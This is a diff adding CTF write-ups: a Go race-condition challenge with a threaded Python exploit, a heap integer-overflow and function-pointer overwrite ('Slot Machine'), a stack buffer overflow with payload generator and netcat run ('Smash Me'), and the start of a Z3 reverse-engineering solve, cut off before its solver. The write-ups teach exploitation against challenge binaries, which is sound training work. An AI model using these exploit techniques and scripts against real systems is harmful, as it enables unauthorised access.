|
||||||
|
**`worker.go`**:
|
||||||
|
This is where the vulnerability lies. Let's look at how it handles requests:
|
||||||
|
|
||||||
|
```go
|
||||||
|
// GLOBAL VARIABLE
|
||||||
|
var checkPassed bool
|
||||||
|
|
||||||
|
func handler(w http.ResponseWriter, r *http.Request) {
|
||||||
|
filename := r.URL.Query().Get("file")
|
||||||
|
|
||||||
|
// 1. Security Check
|
||||||
|
if strings.Contains(filename, "flag") {
|
||||||
|
checkPassed = false
|
||||||
|
} else {
|
||||||
|
checkPassed = true
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Logging (simulates delay)
|
||||||
|
logAccess(filename)
|
||||||
|
|
||||||
|
// 3. Serve File
|
||||||
|
if checkPassed {
|
||||||
|
content, _ := ioutil.ReadFile(filename)
|
||||||
|
w.Write(content)
|
||||||
|
} else {
|
||||||
|
http.Error(w, "Forbidden", 403)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
## 3. The Vulnerability: Race Condition
|
||||||
|
|
||||||
|
The variable `checkPassed` is defined as a **global variable** at the package level.
|
||||||
|
In Go, `http.ListenAndServe` creates a new goroutine for every incoming request. This means that if multiple requests come in simultaneously, they all share access to the *same* `checkPassed` variable.
|
||||||
|
|
||||||
|
This creates a **Race Condition** (specifically a Time-of-Check to Time-of-Use issue):
|
||||||
|
|
||||||
|
1. **Request A (Safe)** comes in for `worker.go`. It sets `checkPassed = true`.
|
||||||
|
2. **Request B (Malicious)** comes in for `flag.txt`. It sets `checkPassed = false`.
|
||||||
|
3. **Request A** pauses slightly (e.g., during `logAccess` or context switching).
|
||||||
|
4. **Request B** pauses slightly.
|
||||||
|
5. **Request A** resumes and potentially overwrites `checkPassed` back to `true` *after* Request B had set it to false, but *before* Request B performs its final check.
|
||||||
|
|
||||||
|
If we time it right, Request B (requesting the flag) will reach the line `if checkPassed` at the exact moment that Request A has set the global variable to `true`.
|
||||||
|
|
||||||
|
## 4. Exploitation strategy
|
||||||
|
|
||||||
|
To exploit this, we need to flood the server with two types of requests simultaneously using the **same session cookie** (so they hit the same worker process):
|
||||||
|
|
||||||
|
1. **Safe Requests:** Repeatedly ask for a allowed file (e.g., `?file=worker.go`). This constantly attempts to set `checkPassed = true`.
|
||||||
|
2. **Malicious Requests:** Repeatedly ask for `?file=flag.txt`. This attempts to read the flag.
|
||||||
|
|
||||||
|
We can use a simple Python script with multiple threads to achieve this.
|
||||||
|
|
||||||
|
### Exploit Script
|
||||||
|
|
||||||
|
```python
|
||||||
|
import threading
|
||||||
|
import requests
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
# --- TARGET CONFIGURATION ---
|
||||||
|
TARGET_URL = "http://challenge-url:1320/"
|
||||||
|
|
||||||
|
print("[*] Initializing Session...")
|
||||||
|
s = requests.Session()
|
||||||
|
try:
|
||||||
|
s.get(TARGET_URL)
|
||||||
|
except requests.exceptions.ConnectionError:
|
||||||
|
print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if 'ctf_session' not in s.cookies:
|
||||||
|
print("[-] Failed to get session cookie")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print(f"[+] Session ID: {s.cookies['ctf_session']}")
|
||||||
|
cookie = {'ctf_session': s.cookies['ctf_session']}
|
||||||
|
|
||||||
|
def do_safe():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
requests.get(TARGET_URL + "?file=worker.go", cookies=cookie)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def do_exploit():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie)
|
||||||
|
if "{flag: " in r.text:
|
||||||
|
print(f"\n\n[SUCCESS] Flag Found: {r.text}\n")
|
||||||
|
sys.exit(0)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
print("[*] Starting threads... (Press Ctrl+C to stop)")
|
||||||
|
|
||||||
|
# High volume of safe threads to flip the switch
|
||||||
|
for i in range(10):
|
||||||
|
t = threading.Thread(target=do_safe)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
# Exploit thread
|
||||||
|
for i in range(1):
|
||||||
|
t = threading.Thread(target=do_exploit)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
time.sleep(1)
|
||||||
|
```
|
||||||
|
|
||||||
|
## 5. The Solution
|
||||||
|
|
||||||
|
Running the exploit script against the target causes a race condition. Within a few seconds, one of the malicious requests will "win" the race—slipping through the check because a concurrent safe request flipped the global switch to `true`.
|
||||||
|
|
||||||
|
**Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}`
|
||||||
|
|
||||||
|
## Lessons Learned
|
||||||
|
|
||||||
|
* **Avoid Global State:** Never use global variables to store request-specific data in a web server. Use local variables or pass data through the function context.
|
||||||
|
* **Concurrency is Hard:** Just because code looks sequential doesn't mean it executes sequentially relative to other requests.
|
||||||
|
* **Thread Safety:** If you must use shared state, always protect it with synchronization primitives like Mutexes, or better yet, use Go's channels to communicate safely.
|
||||||
|
|
||||||
|
Happy Hacking!
|
||||||
198
slot_machine.md
Normal file
198
slot_machine.md
Normal file
@@ -0,0 +1,198 @@
|
|||||||
|
# Slot Machine
|
||||||
|
|
||||||
|
Hey there! Ready to dive into some heap exploitation? Today, we're looking at **Slot Machine**, a pwn challenge that seems straightforward at first but hides a clever vulnerability.
|
||||||
|
|
||||||
|
When you first run the program, you're greeted with the "SecureSlot Storage Manager". It's a simple tool that lets you `init` slots for storing data, `read` or `write` to them, and `destroy` them when you're done.
|
||||||
|
|
||||||
|
But here's the challenge: we only have a **stripped binary**. No source code, no symbols. That means our first step is to pull out our trusty decompiler—Ghidra—and start exploring.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Step 1: Reconnaissance (The "Black Box")
|
||||||
|
|
||||||
|
Since we're working with a stripped binary, we need to map out the program's logic ourselves. A great first step in any pwn challenge is to look for interesting strings.
|
||||||
|
|
||||||
|
Searching for "flag" in Ghidra, we immediately find a hit:
|
||||||
|
`[*] Congratulations! Here is your flag: %s\n`
|
||||||
|
|
||||||
|
This string is referenced in a function at address `0x109d74` (`FUN_00109d74`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109d74(void)
|
||||||
|
{
|
||||||
|
undefined8 uVar1;
|
||||||
|
|
||||||
|
FUN_00114310("[*] Congratulations! Here is your flag: %s\n",&DAT_001f41e0);
|
||||||
|
uVar1 = 0;
|
||||||
|
FUN_001137e0();
|
||||||
|
FUN_00130be0(uVar1);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
This is our "win" condition—if we can redirect the program's execution to this address, we get the flag!
|
||||||
|
|
||||||
|
Now, let's see how the rest of the program works. Following the logic from the entry point to `main` (at `0x10a393`), we find the heart of the "SecureSlot Manager": a menu-driven loop.
|
||||||
|
|
||||||
|
```c
|
||||||
|
// Decompiled Main Loop (FUN_0010a393)
|
||||||
|
undefined8 FUN_0010a393(void)
|
||||||
|
{
|
||||||
|
// ... setup code ...
|
||||||
|
FUN_00123090("--- SecureSlot Storage Manager ---");
|
||||||
|
do {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
while( true ) {
|
||||||
|
FUN_00114310("\nCOMMANDS: init, read, write, destroy, quit\n> ");
|
||||||
|
FUN_001144a0(&DAT_001c01c7,local_1a);
|
||||||
|
if (local_1a[0] != 'i') break;
|
||||||
|
FUN_00109dc3(); // This is cmd_init
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'r') break;
|
||||||
|
FUN_00109f95(); // This is cmd_read
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'w') break;
|
||||||
|
FUN_0010a0d1(); // This is cmd_write
|
||||||
|
}
|
||||||
|
if (local_1a[0] != 'd') break;
|
||||||
|
FUN_0010a238(); // This is cmd_destroy
|
||||||
|
}
|
||||||
|
} while (local_1a[0] != 'q');
|
||||||
|
// ... cleanup code ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Step 2: Reverse Engineering the "Slot"
|
||||||
|
|
||||||
|
To exploit this, we need to understand how "Slots" are managed. Let's look at the `init` function (`FUN_00109dc3`):
|
||||||
|
|
||||||
|
```c
|
||||||
|
void FUN_00109dc3(void)
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
undefined8 uVar2;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
int local_34;
|
||||||
|
long local_30;
|
||||||
|
long local_28;
|
||||||
|
long local_20;
|
||||||
|
|
||||||
|
local_20 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
FUN_00114310("Slot Index: ");
|
||||||
|
FUN_001144a0(&DAT_001c00b1,&local_34);
|
||||||
|
FUN_00114310("Element Count: ");
|
||||||
|
FUN_001144a0(&DAT_001c00c4,&local_30);
|
||||||
|
iVar1 = local_34;
|
||||||
|
if ((local_34 < 0) || (0xb < local_34)) {
|
||||||
|
FUN_00123090("Invalid index");
|
||||||
|
}
|
||||||
|
else if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||||
|
local_28 = (local_30 + 2) * 8;
|
||||||
|
uVar2 = FUN_001308a0(local_28);
|
||||||
|
*(undefined8 *)(&DAT_001f4220 + (long)iVar1 * 8) = uVar2;
|
||||||
|
thunk_FUN_00133b80(*(undefined8 *)(&DAT_001f4220 + (long)local_34 * 8),0,local_28);
|
||||||
|
if (*(long *)(&DAT_001f4220 + (long)local_34 * 8) == 0) {
|
||||||
|
FUN_00123090("Allocation failed");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;
|
||||||
|
*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;
|
||||||
|
FUN_00114310("Allocated slot %d\n",local_34);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
FUN_00123090("Slot already in use");
|
||||||
|
}
|
||||||
|
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||||
|
/* WARNING: Subroutine does not return */
|
||||||
|
FUN_001641a0();
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**How do we know the struct layout?**
|
||||||
|
By observing how the program interacts with the memory returned by `FUN_001308a0` (which we can assume is `malloc`):
|
||||||
|
1. `**(long **)(&DAT_001f4220 + (long)local_34 * 8) = local_30;` -> The first 8 bytes of the allocated buffer store `local_30` (our "Element Count").
|
||||||
|
2. `*(code **)(*(long *)(&DAT_001f4220 + (long)local_34 * 8) + 8) = FUN_00109da4;` -> The next 8 bytes (offset 8) store a function pointer (`FUN_00109da4`).
|
||||||
|
3. If you analyze the `read` and `write` functions, you'll see they access data starting at an offset of 16 bytes from the base.
|
||||||
|
|
||||||
|
This allows us to reconstruct the `slot_t` structure:
|
||||||
|
```c
|
||||||
|
typedef struct {
|
||||||
|
uint64_t count; // Offset 0 (local_30)
|
||||||
|
void (*cleanup)(void*); // Offset 8 (FUN_00109da4)
|
||||||
|
int64_t data[]; // Offset 16 (where users read/write)
|
||||||
|
} slot_t;
|
||||||
|
```
|
||||||
|
|
||||||
|
When you call the "destroy" command, the program calls that function pointer at offset 8. If we can overwrite it, we own the execution!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Step 3: Finding the "Jackpot" (The Vulnerability)
|
||||||
|
|
||||||
|
In `FUN_00109dc3`, notice how the allocation size `local_28` is calculated: `local_28 = (local_30 + 2) * 8;`. If we provide a massive number for `local_30`, this will **integer overflow**.
|
||||||
|
|
||||||
|
If we input `2305843009213693952` (which is $2^{61}$), the math becomes:
|
||||||
|
$(2^{61} + 2) \times 8 = 2^{64} + 16$.
|
||||||
|
|
||||||
|
In a 64-bit system, $2^{64}$ wraps around to $0$. So the program actually calls `malloc(16)`. However, the `count` stored at offset 0 is still that massive number! This gives us a "Slot" that thinks it has billions of entries, but only has 16 bytes of physical heap space.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Step 4: Out-of-Bounds & ASLR Bypass
|
||||||
|
|
||||||
|
Since `count` is huge, the `read` and `write` commands won't stop us from accessing memory far beyond the 16 bytes we allocated. We have **Out-of-Bounds (OOB) access**.
|
||||||
|
|
||||||
|
But there's a catch: **ASLR** is enabled. We don't know the absolute address of `print_flag`. We need a leak.
|
||||||
|
|
||||||
|
1. **Initialize Slot 0** with our overflow size (`2305843009213693952`). It gets a tiny 16-byte chunk.
|
||||||
|
2. **Initialize Slot 1** with a normal size (e.g., `1`). The heap allocator will place Slot 1's chunk immediately after Slot 0.
|
||||||
|
|
||||||
|
Because Slot 0 was allocated only 16 bytes but thinks it's massive, its "data" area (starting at offset 16) now overlaps with the next chunk in memory (Slot 1).
|
||||||
|
|
||||||
|
| Index (Slot 0) | Offset | Content | Description |
|
||||||
|
| :--- | :--- | :--- | :--- |
|
||||||
|
| - | 0x00 | `count` | Slot 0's massive size |
|
||||||
|
| - | 0x08 | `cleanup` | Slot 0's cleanup pointer |
|
||||||
|
| **Entry 0** | 0x10 | `prev_size` | Slot 1's Heap Metadata |
|
||||||
|
| **Entry 1** | 0x18 | `size` | Slot 1's Heap Metadata |
|
||||||
|
| **Entry 2** | 0x20 | `count` | Slot 1's `count` field |
|
||||||
|
| **Entry 3** | 0x28 | `cleanup` | **Slot 1's cleanup pointer (Target!)** |
|
||||||
|
|
||||||
|
3. **Leak the address:** Read `Slot 0` at `Entry Index 3`.
|
||||||
|
* As you can see from the table, `Entry 3` of Slot 0 points exactly to Slot 1's `cleanup` function pointer.
|
||||||
|
* By reading this, we get the absolute address of `default_destroy` (or `FUN_00109da4`), bypassing ASLR!
|
||||||
|
|
||||||
|
By reading this, we now know where the binary is loaded in memory.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Step 5: The Final Blow
|
||||||
|
|
||||||
|
Now that we have the leaked address of the default cleanup function (`0x109da4`), we just need to calculate the offset to `print_flag` (`0x109d74`).
|
||||||
|
|
||||||
|
The difference is `0x30`. So, we take our leaked address, subtract `0x30`, and we have the exact address of the flag function.
|
||||||
|
|
||||||
|
1. **Write the address:** Use the OOB write on `Slot 0` (Entry 3) to overwrite `Slot 1`'s cleanup pointer with our calculated `print_flag` address.
|
||||||
|
2. **Trigger the win:** Call the `destroy` command on **Slot 1**.
|
||||||
|
|
||||||
|
Instead of freeing the memory, the program will happily jump to `print_flag` and hand you the prize!
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### Summary Checklist
|
||||||
|
- [ ] **Init Slot 0:** Count `2305843009213693952` (Wraps size to 16).
|
||||||
|
- [ ] **Init Slot 1:** Count `1`.
|
||||||
|
- [ ] **Read Slot 0, Entry 3:** This leaks the `default_destroy` address.
|
||||||
|
- [ ] **Calculate:** `target = leaked_address - 0x30`.
|
||||||
|
- [ ] **Write Slot 0, Entry 3:** Write the `target` address.
|
||||||
|
- [ ] **Destroy Slot 1:** Profit!
|
||||||
|
|
||||||
|
Happy hacking! Remember, sometimes the biggest structures come from the smallest allocations.
|
||||||
|
|
||||||
145
smash_me.md
Normal file
145
smash_me.md
Normal file
@@ -0,0 +1,145 @@
|
|||||||
|
# Smash Me
|
||||||
|
`smashMe` is a classic binary exploitation challenge that introduces players to stack-based buffer overflows. The challenge provides a statically linked 64-bit ELF binary and its source code. Players must identify a vulnerability in a custom Base64 decoding implementation and redirect the program's execution to a "win" function that prints the flag.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
### Binary Protections
|
||||||
|
We can analyze the binary's security features using standard command-line tools like `file` and `readelf`.
|
||||||
|
|
||||||
|
#### 1. Static Linking and No-PIE
|
||||||
|
Using the `file` command:
|
||||||
|
```bash
|
||||||
|
$ file smashMe
|
||||||
|
smashMe: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, ...
|
||||||
|
```
|
||||||
|
- **Statically linked**: All necessary libraries (like `libc`) are bundled within the binary.
|
||||||
|
- **LSB executable**: Since it says "executable" and not "shared object", **PIE (Position Independent Executable)** is disabled. The binary will load at a fixed base address (`0x400000`).
|
||||||
|
|
||||||
|
#### 2. NX (No-Execute)
|
||||||
|
Using `readelf` to check the stack permissions:
|
||||||
|
```bash
|
||||||
|
$ readelf -l smashMe | grep -A 1 STACK
|
||||||
|
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
|
||||||
|
0x0000000000000000 0x0000000000000000 RWE 0x10
|
||||||
|
```
|
||||||
|
- The `RWE` (Read, Write, Execute) flag indicates that the stack is executable. **NX** is disabled.
|
||||||
|
|
||||||
|
#### 3. Stack Canaries
|
||||||
|
While a search for symbols might show `__stack_chk_fail` (due to the statically linked `libc`), we can verify if the target function uses it by disassembling `core_loop`:
|
||||||
|
```bash
|
||||||
|
$ objdump -d -M intel smashMe | grep -A 10 "<core_loop>:"
|
||||||
|
0000000000401d83 <core_loop>:
|
||||||
|
...
|
||||||
|
401d8f: 48 83 ec 50 sub rsp,0x50
|
||||||
|
...
|
||||||
|
```
|
||||||
|
The absence of any `fs:[0x28]` references or calls to `__stack_chk_fail` in the function prologue/epilogue confirms that **Stack Canaries** are disabled for this function.
|
||||||
|
|
||||||
|
These settings make the binary highly susceptible to traditional stack smashing techniques.
|
||||||
|
|
||||||
|
### Source Code Analysis (`vuln.c`)
|
||||||
|
The program reads a Base64 string from the user, decodes it, and prints the result. The core logic resides in `core_loop()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void core_loop() {
|
||||||
|
unsigned char decoded[64];
|
||||||
|
|
||||||
|
// Get base64 input
|
||||||
|
printf("Give me a base64 string: ");
|
||||||
|
scanf("%s", input);
|
||||||
|
|
||||||
|
// Decode
|
||||||
|
int result = base64_decode(input, decoded);
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The `base64_decode` function decodes data from the global `input` buffer into the local `decoded` buffer. However, it lacks any bounds checking on the destination buffer:
|
||||||
|
|
||||||
|
```c
|
||||||
|
int base64_decode(const char *data, unsigned char *output_buffer) {
|
||||||
|
// ...
|
||||||
|
for (i = 0, j = 0; i < input_length;) {
|
||||||
|
// ... (decoding logic)
|
||||||
|
output_buffer[j++] = (triple >> 2 * 8) & 0xFF;
|
||||||
|
output_buffer[j++] = (triple >> 1 * 8) & 0xFF;
|
||||||
|
output_buffer[j++] = (triple >> 0 * 8) & 0xFF;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
While `decoded` is only 64 bytes, `input` can hold up to 2048 bytes, allowing for a significant overflow of the stack frame.
|
||||||
|
|
||||||
|
## Vulnerability Analysis
|
||||||
|
The vulnerability is a **Stack-based Buffer Overflow**. By providing a long Base64-encoded string, we can overwrite local variables, the saved frame pointer (RBP), and the saved return address on the stack.
|
||||||
|
|
||||||
|
The program contains a "win" function called `print_flag()`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void print_flag() {
|
||||||
|
printf("[!!!] Access Granted. The Return Address was modified.\n [*] FLAG: %s\n", global_flag);
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Our objective is to hijack the control flow by overwriting the return address of `core_loop()` with the address of `print_flag()`.
|
||||||
|
|
||||||
|
## Exploitation Strategy
|
||||||
|
|
||||||
|
### 1. Find the Target Address
|
||||||
|
Since PIE is disabled, the address of `print_flag` is constant. Using `nm` or `objdump`:
|
||||||
|
```bash
|
||||||
|
nm smashMe | grep print_flag
|
||||||
|
# Output: 0000000000401b58 T print_flag
|
||||||
|
```
|
||||||
|
To avoid potential stack alignment issues (such as the `movaps` instruction requiring a 16-byte aligned stack), we can jump to `0x401b60`, which is slightly into the function body after the prologue.
|
||||||
|
|
||||||
|
### 2. Determine the Offset
|
||||||
|
We must determine the exact distance from the start of the `decoded` buffer to the return address.
|
||||||
|
- The `core_loop` function aligns the stack to 16 bytes (`and rsp, 0xfffffffffffffff0`) and then subtracts `0x50` (80 bytes).
|
||||||
|
- The `decoded` buffer is located at the current `rsp`.
|
||||||
|
- Due to the stack alignment and subsequent push/sub operations, the distance to the saved return address is **88 bytes** (80 bytes for the buffer/alignment + 8 bytes for the saved RBP).
|
||||||
|
|
||||||
|
Total offset to Return Address: **88 bytes**.
|
||||||
|
|
||||||
|
### 3. Construct the Payload
|
||||||
|
The payload structure:
|
||||||
|
1. **80 bytes** of arbitrary padding (e.g., 'A's).
|
||||||
|
2. **8 bytes** to overwrite the saved RBP (e.g., 'B's).
|
||||||
|
3. **8 bytes** containing the address `0x401b60` (little-endian).
|
||||||
|
|
||||||
|
The final raw payload is then Base64-encoded to meet the program's input requirements.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
The following Python script generates the exploit:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import struct
|
||||||
|
import base64
|
||||||
|
|
||||||
|
# Target address of print_flag (skipping prologue)
|
||||||
|
win_addr = struct.pack('<Q', 0x401b60)
|
||||||
|
|
||||||
|
# 80 bytes padding + 8 bytes saved RBP + 8 bytes Return Address
|
||||||
|
raw_payload = b'A' * 80 + b'B' * 8 + win_addr
|
||||||
|
|
||||||
|
# Encode to Base64 as the program expects
|
||||||
|
print(base64.b64encode(raw_payload).decode())
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the script gives us the payload:
|
||||||
|
`QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA`
|
||||||
|
|
||||||
|
Executing the exploit against the target:
|
||||||
|
```bash
|
||||||
|
$ nc <host> 1349
|
||||||
|
Give me a base64 string: QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQkJCQkJCQmAbQAAAAAAA
|
||||||
|
Decoded: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB`.@
|
||||||
|
[!!!] Access Granted. The Return Address was modified.
|
||||||
|
[*] FLAG: {flag:Al3ph1_Sm4sh3d_Th3_St4ck_1n_Phr4ck49}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Conclusion
|
||||||
|
`smashMe` serves as a fundamental exercise in identifying and exploiting stack-based overflows. It highlights that even when data is transformed (e.g., via Base64), improper handling of buffer lengths can lead to full system compromise.
|
||||||
275
the_clockwork.md
Normal file
275
the_clockwork.md
Normal file
@@ -0,0 +1,275 @@
|
|||||||
|
# The Clockwork
|
||||||
|
|
||||||
|
`the_clockwork` is a reverse engineering challenge involving a system of interdependent equations. We are provided with a binary `challenge` and need to find the correct input to satisfy its internal logic.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file challenge
|
||||||
|
challenge: ELF 64-bit LSB executable, x86-64, ... not stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
The binary is not stripped, revealing function names. We analyze it using Ghidra.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### Main Function
|
||||||
|
|
||||||
|
We locate the `main` function (`0x402057`). The decompilation reveals the initialization of a target array and a loop verifying the calculated "gears".
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
bool bVar1;
|
||||||
|
int iVar2;
|
||||||
|
char *pcVar3;
|
||||||
|
size_t sVar4;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
int local_164;
|
||||||
|
int local_158 [64];
|
||||||
|
char local_58 [72];
|
||||||
|
long local_10;
|
||||||
|
|
||||||
|
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
local_158[0] = 0x174;
|
||||||
|
local_158[1] = 0x2fe;
|
||||||
|
local_158[2] = 0x3dc;
|
||||||
|
local_158[3] = 0x30c;
|
||||||
|
local_158[4] = 0xfffffe57;
|
||||||
|
local_158[5] = 0xffffffc6;
|
||||||
|
local_158[6] = 0x28a;
|
||||||
|
local_158[7] = 0x23d;
|
||||||
|
local_158[8] = 0x24d;
|
||||||
|
local_158[9] = 0xee;
|
||||||
|
local_158[10] = 0x183;
|
||||||
|
local_158[0xb] = 0x124;
|
||||||
|
local_158[0xc] = 0x1e0;
|
||||||
|
local_158[0xd] = 0x19c;
|
||||||
|
local_158[0xe] = 0x1ab;
|
||||||
|
local_158[0xf] = 0x444;
|
||||||
|
// ... (initialization continues for 32 values) ...
|
||||||
|
local_158[0x1f] = 0x209;
|
||||||
|
|
||||||
|
// ... (input reading logic) ...
|
||||||
|
|
||||||
|
if (sVar4 == 0x20) {
|
||||||
|
// Calculate gears, storing result in the second half of local_158
|
||||||
|
calculate_gears(local_58,local_158 + 0x20);
|
||||||
|
bVar1 = true;
|
||||||
|
local_164 = 0;
|
||||||
|
goto LAB_00402348;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ...
|
||||||
|
|
||||||
|
LAB_00402348:
|
||||||
|
if (0x1f < local_164) goto LAB_00402351;
|
||||||
|
|
||||||
|
// Constraint Check:
|
||||||
|
// gears[next] * 2 + gears[current] == target[current]
|
||||||
|
// where next = (current + 1) % 32
|
||||||
|
if (local_158[(long)((local_164 + 1) % 0x20) + 0x20] * 2 + local_158[(long)local_164 + 0x20] !=
|
||||||
|
local_158[local_164]) {
|
||||||
|
bVar1 = false;
|
||||||
|
goto LAB_00402351;
|
||||||
|
}
|
||||||
|
local_164 = local_164 + 1;
|
||||||
|
goto LAB_00402348;
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The loop at `LAB_00402348` verifies that for every gear `i`:
|
||||||
|
`gears[i] + 2 * gears[(i+1)%32] == target[i]`
|
||||||
|
|
||||||
|
### Calculate Gears
|
||||||
|
|
||||||
|
The function `calculate_gears` computes the `gears` array from the input string.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void calculate_gears(char *param_1,undefined4 *param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
undefined4 uVar1;
|
||||||
|
|
||||||
|
uVar1 = f0((int)*param_1);
|
||||||
|
*param_2 = uVar1;
|
||||||
|
uVar1 = f1((int)param_1[1],*param_2);
|
||||||
|
param_2[1] = uVar1;
|
||||||
|
uVar1 = f2((int)param_1[2]);
|
||||||
|
param_2[2] = uVar1;
|
||||||
|
uVar1 = f3((int)param_1[3],param_2[2]);
|
||||||
|
param_2[3] = uVar1;
|
||||||
|
|
||||||
|
// ... Pattern continues ...
|
||||||
|
|
||||||
|
uVar1 = f30((int)param_1[0x1e]);
|
||||||
|
param_2[0x1e] = uVar1;
|
||||||
|
uVar1 = f31((int)param_1[0x1f],param_2[0x1e]);
|
||||||
|
param_2[0x1f] = uVar1;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
It uses 32 helper functions (`f0` through `f31`).
|
||||||
|
- Even indices depend only on the input character: `gears[i] = f_i(input[i])`
|
||||||
|
- Odd indices depend on the input and the previous gear: `gears[i] = f_i(input[i], gears[i-1])`
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
Solving this challenge manually would be difficult because the equations are cyclic: `gears[0]` affects `gears[1]`, which affects `gears[2]`... and the verification loop wraps around so that `gears[31]` affects `gears[0]`.
|
||||||
|
|
||||||
|
Instead of calculating it by hand, we can use **Z3**, a powerful theorem prover from Microsoft. Z3 allows us to describe the problem as a set of logic constraints (e.g., "x is an integer," "y = x + 5," "y must equal 10") and then asks the engine to find values for `x` and `y` that satisfy all statements.
|
||||||
|
|
||||||
|
### Solver Construction
|
||||||
|
|
||||||
|
We build the solver step-by-step.
|
||||||
|
|
||||||
|
**1. Define Inputs**
|
||||||
|
We start by defining our unknown inputs. We know the flag is 32 characters long, so we create 32 32-bit BitVectors. We also constrain them to be printable ASCII (32-126) because we know the flag is a string.
|
||||||
|
|
||||||
|
**2. Define Targets**
|
||||||
|
We extract the target values directly from the `main` function's stack initialization code. These are the values our gears must align with.
|
||||||
|
|
||||||
|
**3. Replicate Helper Functions**
|
||||||
|
We need to tell Z3 how to calculate the gears. We take the logic from `f0`, `f1`, etc., and rewrite it in Python.
|
||||||
|
For example, `f0` in C is `return (char)(param_1 ^ 0x55) + 10;`.
|
||||||
|
In Python for Z3, we write `return c_char(p1 ^ 0x55) + 10`.
|
||||||
|
Note that `f1` uses modulo 200. In C, `%` on negative numbers can be tricky, but `SRem` (Signed Remainder) in Z3 matches the C behavior.
|
||||||
|
|
||||||
|
**4. Build the Gears Array**
|
||||||
|
We programmatically construct the list of gear values.
|
||||||
|
`gears[0]` is the result of `f0(flag[0])`.
|
||||||
|
`gears[1]` is the result of `f1(flag[1], gears[0])`.
|
||||||
|
We do this for all 32 gears, following the pattern found in `calculate_gears`.
|
||||||
|
|
||||||
|
**5. Add Constraints**
|
||||||
|
Finally, we add the condition found in the `main` loop: `gears[i] + 2 * gears[(i+1)%32] == targets[i]`. This links everything together into a solvable system.
|
||||||
|
|
||||||
|
**6. Solve**
|
||||||
|
